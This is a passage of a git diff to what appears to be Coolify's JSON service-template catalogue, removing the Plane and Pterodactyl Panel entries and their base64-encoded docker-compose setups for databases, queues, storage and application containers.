R1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC13b3JrZXIuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3Nfd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX0ZRRE5fUExBTkV9JwogICAgICBERUJVRzogJyR7REVCVUc6LTB9JwogICAgICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogICAgICBHVU5JQ09STl9XT1JLRVJTOiAnJHtHVU5JQ09STl9XT1JLRVJTOi0xfScKICAgICAgVVNFX01JTklPOiAnJHtVU0VfTUlOSU86LTF9JwogICAgICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICAgICAgU0VDUkVUX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfNjRfU0VDUkVUS0VZCiAgICAgIEFNUVBfVVJMOiAnYW1xcDovLyR7U0VSVklDRV9VU0VSX1JBQkJJVE1RfToke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVF9QHBsYW5lLW1xOiR7UkFCQklUTVFfUE9SVDotNTY3Mn0vcGxhbmUnCiAgICAgIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogICAgICBNSU5JT19FTkRQT0lOVF9TU0w6ICcke01JTklPX0VORFBPSU5UX1NTTDotMH0nCiAgICAgIFBHSE9TVDogcGxhbmUtZGIKICAgICAgUEdEQVRBQkFTRTogcGxhbmUKICAgICAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfREI6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICAgICAgUEdEQVRBOiAvdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEKICAgICAgUkVESVNfSE9TVDogJyR7UkVESVNfSE9TVDotcGxhbmUtcmVkaXN9JwogICAgICBSRURJU19QT1JUOiAnJHtSRURJU19QT1JUOi02Mzc5fScKICAgICAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99JwogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICAgICAgQVdTX0FDQ0VTU19LRVlfSUQ6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgICAgIEFXU19TM19CVUNLRVRfTkFNRTogJyR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gcGxhbmUtZGIKICAgICAgLSBwbGFuZS1yZWRpcwogICAgICAtIHBsYW5lLW1xCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGJlYXQtd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LWJlYXQuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYmVhdC13b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfRlFETl9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgcGxhbmUtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1LjctYWxwaW5lJwogICAgY29tbWFuZDogInBvc3RncmVzIC1jICdtYXhfY29ubmVjdGlvbnM9MTAwMCciCiAgICBlbnZpcm9ubWVudDoKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgdm9sdW1lczoKICAgICAgLSAncGdkYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1yZWRpczoKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo3LjIuNS1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpc2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwbGFuZS1tcToKICAgIGltYWdlOiAncmFiYml0bXE6My4xMy42LW1hbmFnZW1lbnQtYWxwaW5lJwogICAgcmVzdGFydDogYWx3YXlzCiAgICBlbnZpcm9ubWVudDoKICAgICAgUkFCQklUTVFfSE9TVDogcGxhbmUtbXEKICAgICAgUkFCQklUTVFfUE9SVDogJyR7UkFCQklUTVFfUE9SVDotNTY3Mn0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfUEFTUzogJyR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JhYmJpdG1xX2RhdGE6L3Zhci9saWIvcmFiYml0bXEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3JhYmJpdG1xLWRpYWdub3N0aWNzIC1xIHBpbmcnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMzBzCiAgICAgIHJldHJpZXM6IDMKICBwbGFuZS1taW5pbzoKICAgIGltYWdlOiAnZ2hjci5pby9jb29sbGFic2lvL21pbmlvOlJFTEVBU0UuMjAyNS0xMC0xNVQxNy0yOS01NVonCiAgICBjb21tYW5kOiAnc2VydmVyIC9leHBvcnQgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDkwIicKICAgIGVudmlyb25tZW50OgogICAgICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICAgICAgTUlOSU9fUk9PVF9QQVNTV09SRDogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgIHZvbHVtZXM6CiAgICAgIC0gJ3VwbG9hZHM6L2V4cG9ydCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "plane", - "project-management", - "tool", - "open", - "source", - "api", - "nextjs", - "redis", - "postgresql", - "django", - "pm" - ], - "category": "productivity", - "logo": "svgs/plane.svg", - "minversion": "0.0.0" - }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3878,38 +3837,6 @@ "minversion": "0.0.0", "port": "9159" }, - "pterodactyl-panel": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9GUUROX1BURVJPREFDVFlMXzgwCiAgICAgIC0gJ0FETUlOX0VNQUlMPSR7QURNSU5fRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnQURNSU5fVVNFUk5BTUU9JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdBRE1JTl9GSVJTVE5BTUU9JHtBRE1JTl9GSVJTVE5BTUU6LUFkbWlufScKICAgICAgLSAnQURNSU5fTEFTVE5BTUU9JHtBRE1JTl9MQVNUTkFNRTotVXNlcn0nCiAgICAgIC0gJ0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICAgIC0gJ1BURVJPREFDVFlMX0hUVFBTPSR7UFRFUk9EQUNUWUxfSFRUUFM6LWZhbHNlfScKICAgICAgLSBBUFBfRU5WPXByb2R1Y3Rpb24KICAgICAgLSBBUFBfRU5WSVJPTk1FTlRfT05MWT1mYWxzZQogICAgICAtIEFQUF9VUkw9JFNFUlZJQ0VfRlFETl9QVEVST0RBQ1RZTAogICAgICAtICdBUFBfVElNRVpPTkU9JHtUSU1FWk9ORTotVVRDfScKICAgICAgLSAnQVBQX1NFUlZJQ0VfQVVUSE9SPSR7QVBQX1NFUlZJQ0VfQVVUSE9SOi1hdXRob3JAZXhhbXBsZS5jb219JwogICAgICAt